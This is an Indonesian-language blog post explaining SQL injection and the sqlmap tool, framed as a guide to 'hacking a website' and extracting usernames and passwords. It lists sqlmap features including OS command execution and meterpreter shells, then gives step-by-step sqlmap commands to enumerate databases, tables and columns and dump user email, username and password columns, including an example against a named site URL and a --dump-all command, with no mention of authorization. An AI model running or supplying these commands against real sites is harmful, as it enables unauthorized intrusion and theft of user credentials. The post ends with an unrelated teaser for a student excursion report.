Saturday, August 4, 2018

CARA EXPLOIT DATABASE MENGGUNAKAN SQLMAP

     A. SQL INJECTION

Injeksi SQL atau SQL Injection adalah teknik injeksi kode, yang digunakan untuk menyerang aplikasi berbasis data, di mana pernyataan SQL jahat dimasukkan ke dalam bidang entri untuk eksekusi (mis. Untuk membuang konten database ke penyerang). Injeksi SQL harus mengeksploitasi kerentanan keamanan pada perangkat lunak aplikasi, misalnya saat input pengguna salah disaring untuk karakter escape string literal yang disematkan pada pernyataan SQL atau masukan pengguna tidak diketik dengan kuat dan tanpa diduga dieksekusi. Injeksi SQL sebagian besar dikenal sebagai vektor serangan untuk situs web namun dapat digunakan untuk menyerang semua jenis database SQL. Dalam panduan ini saya akan menunjukkan kepada Anda bagaimana SQLMAP SQL Injection di Kali Linux untuk meng-hack sebuah situs web (lebih khusus Database) dan ekstrak nama pengguna dan kata sandi di Kali Linux.

     B. SQLMap

Sqlmap adalah alat pengujian penetrasi open source yang mengotomatisasi proses mendeteksi dan mengeksploitasi kelemahan SQL injection dan mengambil alih dari database server. Muncul dengan mesin deteksi yang kuat, banyak fitur ceruk untuk penetrasi tester utama dan berbagai switch yang berlangsung dari database sidik jari, atas data mengambil dari database, untuk mengakses sistem file yang mendasari dan mengeksekusi perintah pada sistem operasi melalui out of-band koneksi.

1.      Fitur dari Sqlmap
·         Dukungan penuh untuk MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB dan sistem manajemen database HSQLDB.
·         Dukungan penuh selama enam teknik SQL injection: berbasis boolean blind, berdasarkan waktu blind, berbasis error, berbasis permintaan UNION, query ditumpuk dan out-of-band.
·         Dukungan untuk langsung terhubung ke database tanpa melewati melalui injeksi SQL, dengan menyediakan DBMS kredensial, alamat IP, port dan nama database.
·         Dukungan untuk menghitung pengguna, hash password, hak, peran, database, tabel dan kolom.
·         Pengakuan otomatis format hash sandi dan dukungan untuk retak mereka menggunakan serangan kamus berbasis.
·         Dukungan untuk membuang tabel database seluruhnya, berbagai entri atau kolom tertentu sesuai pilihan pengguna. Pengguna juga dapat memilih untuk membuang hanya berbagai karakter dari entri setiap kolom ini.
·         Dukungan untuk mencari nama database tertentu, tabel khusus di semua database atau kolom tertentu di tabel semua database '. Hal ini berguna, misalnya, untuk mengidentifikasi tabel yang berisi kredensial aplikasi kustom di mana nama-nama kolom yang relevan 'mengandung string seperti nama dan lulus.
·         Dukungan untuk men-download dan meng-upload file dari server database yang mendasari sistem file ketika software database MySQL, PostgreSQL atau Microsoft SQL Server.
·         Dukungan untuk mengeksekusi perintah sewenang-wenang dan mengambil output standar mereka pada database server yang mendasari sistem operasi ketika software database MySQL, PostgreSQL atau Microsoft SQL Server.
·         Dukungan untuk membangun koneksi stateful TCP out-of-band antara mesin penyerang dan sistem operasi server database yang mendasari. Saluran ini dapat menjadi command prompt interaktif, sesi meterpreter atau antarmuka pengguna (VNC) sesi grafis sesuai pilihan pengguna.
·         Dukungan untuk proses database 'pengguna eskalasi hak istimewa melalui meterpreter Metasploit ini getsystem perintah.

Perintah-perintah dasar sqlmap untuk hacking website :
Ø  sqlmap.py -u url_target --dbs
Perintah ini digunakan untuk mengambil semua nama database di server. Isi link target dengan web tujuan:
Ø  sqlmap.py -u url_target -D nama_database --tables
Perintah ini digunakan untuk mengambil semua table dari suatu database. nama_database isi dengan nama database yang ingin ditampilkan semua tablenya.
Ø  sqlmap.py -u url_target -D nama_database -T nama_table --columns
Perintah ini digunakan untuk menampilkan semua column dari sebuah table yang ada di sebuah database server. Ganti nama tablenya sesuai dengan nama table yang ada di database target masing-masing.


Ø  sqlmap.py -u url_target -D nama_database -T nama_table -C nama_columns --dump
Perintah ini digunakan untuk menampilkan isi dari semua data dari sebuah table. isi nama nama_columns dengan kolom-kolom yang ada di table tersebut. Contoh penulisanya seperti ini :
Ø  sqlmap.py -u iangoblog.com/user.php?id=2 -D iangoblog -T users -C email,username,password --dump
Tapi kalau ingin langsung saja mengambil semua data yang ada di database servernya, dapat langsung menuliskan perintah di bawah ini dan tinggal hanya menunggu saja. Kecepatan tergantung dengan kecepatan internet. Perintahnya sebagai berikut :

Ø  sqlmap.py -u iangoblog.com/user.php?id=2 --dump-all - tekan enter

LAPORAN STUDI EKSKURSI 2019 PT. TERMINAL PETIKEMAS SURABAYA & PT. PERKEBUNAN NUSANTARA X

Alasan diadakanya kegiatan kunjungan ini adalah untuk menambah pengetahuan dan pengalaman bagi kita sebagai mahasiswa sebelum terjun sec...